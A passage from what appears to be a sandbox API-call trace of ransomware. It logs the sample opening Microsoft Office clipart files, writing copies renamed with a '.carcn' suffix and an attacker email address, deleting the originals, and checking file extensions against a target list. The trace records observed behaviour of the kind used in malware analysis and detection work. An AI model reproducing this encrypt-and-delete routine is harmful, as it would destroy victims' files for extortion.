dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.145] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0262.146] GetLastError () returned 0x0 [0262.146] ReadFile (in: hFile=0x550, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0xac4, lpOverlapped=0x0) returned 1 [0262.209] WriteFile (in: hFile=0x554, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xad0, lpOverlapped=0x0) returned 1 [0262.211] ReadFile (in: hFile=0x550, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.211] WriteFile (in: hFile=0x554, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.211] SetEndOfFile (hFile=0x554) returned 1 [0262.318] CloseHandle (hObject=0x554) returned 1 [0262.320] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.320] SetEndOfFile (hFile=0x550) returned 1 [0262.324] CloseHandle (hObject=0x550) returned 1 [0262.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0262.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0262.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0262.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0262.326] lstrlenW (lpString=".doc") returned 4 [0262.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.326] lstrlenW (lpString=".docx") returned 5 [0262.326] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.326] lstrlenW (lpString=".pdf") returned 4 [0262.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.326] lstrlenW (lpString=".xls") returned 4 [0262.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.326] lstrlenW (lpString=".xlsx") returned 5 [0262.326] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.326] lstrlenW (lpString=".ppt") returned 4 [0262.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0262.326] lstrlenW (lpString=".zip") returned 4 [0262.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.326] lstrlenW (lpString=".rar") returned 4 [0262.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.327] lstrlenW (lpString=".bz2") returned 4 [0262.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.327] lstrlenW (lpString=".7z") returned 3 [0262.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0262.327] lstrlenW (lpString=".dbf") returned 4 [0262.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0262.327] lstrlenW (lpString=".1cd") returned 4 [0262.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0262.327] lstrlenW (lpString=".jpg") returned 4 [0262.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0262.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0262.327] lstrlenW (lpString=".doc") returned 4 [0262.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.327] lstrlenW (lpString=".docx") returned 5 [0262.327] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.327] lstrlenW (lpString=".pdf") returned 4 [0262.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.327] lstrlenW (lpString=".xls") returned 4 [0262.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.328] lstrlenW (lpString=".xlsx") returned 5 [0262.328] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.328] lstrlenW (lpString=".ppt") returned 4 [0262.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0262.328] lstrlenW (lpString=".zip") returned 4 [0262.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.328] lstrlenW (lpString=".rar") returned 4 [0262.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.328] lstrlenW (lpString=".bz2") returned 4 [0262.328] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.328] lstrlenW (lpString=".7z") returned 3 [0262.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0262.328] lstrlenW (lpString=".dbf") returned 4 [0262.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0262.328] lstrlenW (lpString=".1cd") returned 4 [0262.328] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0262.328] lstrlenW (lpString=".jpg") returned 4 [0262.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.329] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0262.329] lstrlenW (lpString="AN03500_.WMF") returned 12 [0262.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0262.329] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=9240) returned 1 [0262.329] CloseHandle (hObject=0x550) returned 1 [0262.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 0x220 [0262.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0262.330] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.330] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0262.331] GetLastError () returned 0x0 [0262.331] ReadFile (in: hFile=0x550, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x2418, lpOverlapped=0x0) returned 1 [0262.375] WriteFile (in: hFile=0x554, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2420, lpOverlapped=0x0) returned 1 [0262.377] ReadFile (in: hFile=0x550, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.377] WriteFile (in: hFile=0x554, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.377] SetEndOfFile (hFile=0x554) returned 1 [0262.377] CloseHandle (hObject=0x554) returned 1 [0262.380] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.380] SetEndOfFile (hFile=0x550) returned 1 [0262.383] CloseHandle (hObject=0x550) returned 1 [0262.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0262.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0262.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0262.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0262.712] lstrlenW (lpString=".doc") returned 4 [0262.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.712] lstrlenW (lpString=".docx") returned 5 [0262.712] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.712] lstrlenW (lpString=".pdf") returned 4 [0262.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.713] lstrlenW (lpString=".xls") returned 4 [0262.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.713] lstrlenW (lpString=".xlsx") returned 5 [0262.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.713] lstrlenW (lpString=".ppt") returned 4 [0262.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0262.713] lstrlenW (lpString=".zip") returned 4 [0262.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.713] lstrlenW (lpString=".rar") returned 4 [0262.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.713] lstrlenW (lpString=".bz2") returned 4 [0262.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.713] lstrlenW (lpString=".7z") returned 3 [0262.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0262.713] lstrlenW (lpString=".dbf") returned 4 [0262.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0262.713] lstrlenW (lpString=".1cd") returned 4 [0262.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0262.713] lstrlenW (lpString=".jpg") returned 4 [0262.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0262.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0262.714] lstrlenW (lpString=".doc") returned 4 [0262.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.714] lstrlenW (lpString=".docx") returned 5 [0262.714] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.714] lstrlenW (lpString=".pdf") returned 4 [0262.714] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.714] lstrlenW (lpString=".xls") returned 4 [0262.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.714] lstrlenW (lpString=".xlsx") returned 5 [0262.714] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.714] lstrlenW (lpString=".ppt") returned 4 [0262.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0262.714] lstrlenW (lpString=".zip") returned 4 [0262.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.714] lstrlenW (lpString=".rar") returned 4 [0262.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.714] lstrlenW (lpString=".bz2") returned 4 [0262.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.714] lstrlenW (lpString=".7z") returned 3 [0262.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0262.714] lstrlenW (lpString=".dbf") returned 4 [0262.715] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0262.715] lstrlenW (lpString=".1cd") returned 4 [0262.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0262.715] lstrlenW (lpString=".jpg") returned 4 [0262.715] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.715] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0262.715] lstrlenW (lpString="AN04195_.WMF") returned 12 [0262.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0262.716] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=4612) returned 1 [0262.716] CloseHandle (hObject=0x524) returned 1 [0262.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 0x220 [0262.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0262.717] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.717] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0262.718] GetLastError () returned 0x0 [0262.718] ReadFile (in: hFile=0x524, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x1204, lpOverlapped=0x0) returned 1 [0262.810] WriteFile (in: hFile=0x538, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1210, lpOverlapped=0x0) returned 1 [0262.811] ReadFile (in: hFile=0x524, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.811] WriteFile (in: hFile=0x538, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.811] SetEndOfFile (hFile=0x538) returned 1 [0262.812] CloseHandle (hObject=0x538) returned 1 [0262.816] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.816] SetEndOfFile (hFile=0x524) returned 1 [0262.819] CloseHandle (hObject=0x524) returned 1 [0262.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0262.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0262.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0262.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0262.821] lstrlenW (lpString=".doc") returned 4 [0262.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.821] lstrlenW (lpString=".docx") returned 5 [0262.821] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.821] lstrlenW (lpString=".pdf") returned 4 [0262.821] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.821] lstrlenW (lpString=".xls") returned 4 [0262.821] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.821] lstrlenW (lpString=".xlsx") returned 5 [0262.821] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.821] lstrlenW (lpString=".ppt") returned 4 [0262.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0262.821] lstrlenW (lpString=".zip") returned 4 [0262.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.821] lstrlenW (lpString=".rar") returned 4 [0262.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.821] lstrlenW (lpString=".bz2") returned 4 [0262.822] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.822] lstrlenW (lpString=".7z") returned 3 [0262.822] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0262.822] lstrlenW (lpString=".dbf") returned 4 [0262.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0262.822] lstrlenW (lpString=".1cd") returned 4 [0262.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0262.822] lstrlenW (lpString=".jpg") returned 4 [0262.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0262.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0262.822] lstrlenW (lpString=".doc") returned 4 [0262.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.822] lstrlenW (lpString=".docx") returned 5 [0262.822] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.822] lstrlenW (lpString=".pdf") returned 4 [0262.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.822] lstrlenW (lpString=".xls") returned 4 [0262.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.822] lstrlenW (lpString=".xlsx") returned 5 [0262.822] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.822] lstrlenW (lpString=".ppt") returned 4 [0262.822] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0262.823] lstrlenW (lpString=".zip") returned 4 [0262.823] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.823] lstrlenW (lpString=".rar") returned 4 [0262.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.823] lstrlenW (lpString=".bz2") returned 4 [0262.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.823] lstrlenW (lpString=".7z") returned 3 [0262.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0262.823] lstrlenW (lpString=".dbf") returned 4 [0262.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0262.823] lstrlenW (lpString=".1cd") returned 4 [0262.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0262.823] lstrlenW (lpString=".jpg") returned 4 [0262.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.823] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0262.823] lstrlenW (lpString="AN04206_.WMF") returned 12 [0262.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0263.327] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=7668) returned 1 [0263.327] CloseHandle (hObject=0x4bc) returned 1 [0263.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 0x220 [0263.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0263.328] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.328] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft 